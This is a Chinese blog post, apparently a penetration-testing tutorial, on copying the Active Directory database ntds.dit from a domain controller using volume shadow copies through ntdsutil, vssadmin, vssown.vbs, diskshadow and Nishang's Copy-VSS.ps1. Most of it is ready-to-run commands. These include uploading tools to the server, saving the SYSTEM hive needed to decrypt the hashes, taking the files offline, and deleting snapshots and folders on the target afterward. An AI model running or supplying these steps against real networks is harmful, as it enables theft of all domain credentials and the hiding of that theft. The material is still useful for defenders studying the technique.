通常情况下,即使拥有管理员权限,也无法读取域控制器中的C:\Windows\NTDS\ntds.dit文件。使用windows本地卷影拷贝服务,就可以获得该文件的副本。

  在活动目录中,所有的数据都保存在ntds.dit中。ntds.dit是一个二进制文件,存储位置为域控制器的%SystemRoot%\ntds\ntds.dit。ntds.dit中包含用户名、散列值、组、GPP、OU等与活动目录相关的信息。它和SAM文件一样,是被操作系统锁定的。在一般情况下系统运维人员会利用卷影拷贝服务(volume Shadow Copy Server,VSS)实现ntds.dit的拷贝,VSS本质上属快照(Snamshot)技术的一种,主要用于备份和恢复(即使目标文件被系统锁定)。

1.通过ntdsutil.exe提取ntds.dit

创建快照
ntdsutil snapshot “activate instance ntds” create quit quit
挂载快照
ntdsutil snapshot “mount {da243bc6-2278-44b4-9155-ed8a2e1e36fc}” quit quit
复制ntds.dit
copy C:\$SNAP_201911241434_VOLUMEC$\windows\NTDS\ntds.dit c:\ntds.dit
卸载快照
ntdsutil snapshot “unmount {da243bc6-2278-44b4-9155-ed8a2e1e36fc}” quit quit
删除快照
ntdsutil snapshot “delete {da243bc6-2278-44b4-9155-ed8a2e1e36fc}” quit quit
 
2.利用vssadmin提取ntds.dit
创建C盘的卷影拷贝
vssadmin create shadow /for=c:
卷影副本 ID: {26133fdb-5645-4596-840f-aa3b88993628}
卷影副本卷名: \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1
在创建的卷影拷贝中将ntds.dit复制出来
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\ntds\ntds.dit c:\ntds.dit
删除快照
vssadmin delete shadows /for=c: /quiet
 
3.利用vssown.vbs提取ntds.dit
上传cscript.exe和vssown.vbs到域服务器上,查找ntds.dit的位置。
reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NTDS\Parameters //得到ntds的默认路径:c:\ Windows\NTDS\ntds.dit
启动卷影拷贝服务 cscript //nologo vssown.vbs /start
创建一个C盘的卷影拷贝
cscript vssown.vbs /create c
列出当前卷影拷贝
cscript vssown.vbs /list
ID:{654734BE-EB3B-4C62-BE64-2CD7FB491BF4}
存储位置:\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy2
复制NTDS.dit
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\windows\NTDS\ntds.dit c:\ntds.dit
删除卷影拷贝
cscript vssown.vbs /delete {654734BE-EB3B-4C62-BE64-2CD7FB491BF4}
 
4.使用diskshadow导出ndts.dit
可以使用diskshadow.exe来执行命令。例如,将需要执行的命令“exec c:\windows\system\calc.exe”写入c:\command.txt文件。
echo exec c:\windows\system32\calc.exe > command.txt
type command.txt
diskshadow /s command.txt # 使用diskshadow执行txt中的命令。
diskshadow也可以用来导出ntds.dit 。将如下命令写入一个文件中去执行。
set context persistent nowriters add volume c: alias someAlias create expose %someAlias% z: exec “cmd.exe” /c copy z:\windows\ntds\ntds.dit c:\ntds.dit delete shadows all
list shadows all reset
exit
使用diskshadow执行c:\command.txt中的命令
diskshadow /s c:\command.txt
注意:使用diskshadow时必须切换到windows\system32\目录下执行命令,否则会报错。
导出ntds.dit后,可以将system.hive转储。因为system.hive中存放着ntds.dit 的密钥,所以没有该密钥,将无法查看ntds.dit 中的信息。
reg save hklm\system c:\windows\temp\system.hive
 
5.使用ntdsutil的IFM创建卷影拷贝
ntdsutil “ac i ntds” “ifm” “create full c:/test” q q
然后将SYSTEM和SECURITY两项复制到c:\test\registry\文件夹下
ntds.dit 已经被复制到c:\test\active directory\文件夹下了。
将ntds.dit拖回本地后,在目标机器上将test文件夹删除
rmdir /s/q c:\test
在NiShang中有个powershell脚本Copy-VSS.ps1,将该脚本提取出来在域控制器中打开并运行。
Import-Module .\Copy-VSS.ps1
Copy-VSS
通过该脚本,可以将SAM、SYSTEM、ntds.dit复制到与该脚本相同的目录中。

版权声明:本文为micr067原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://www.cnblogs.com/micr067/p/12310732.html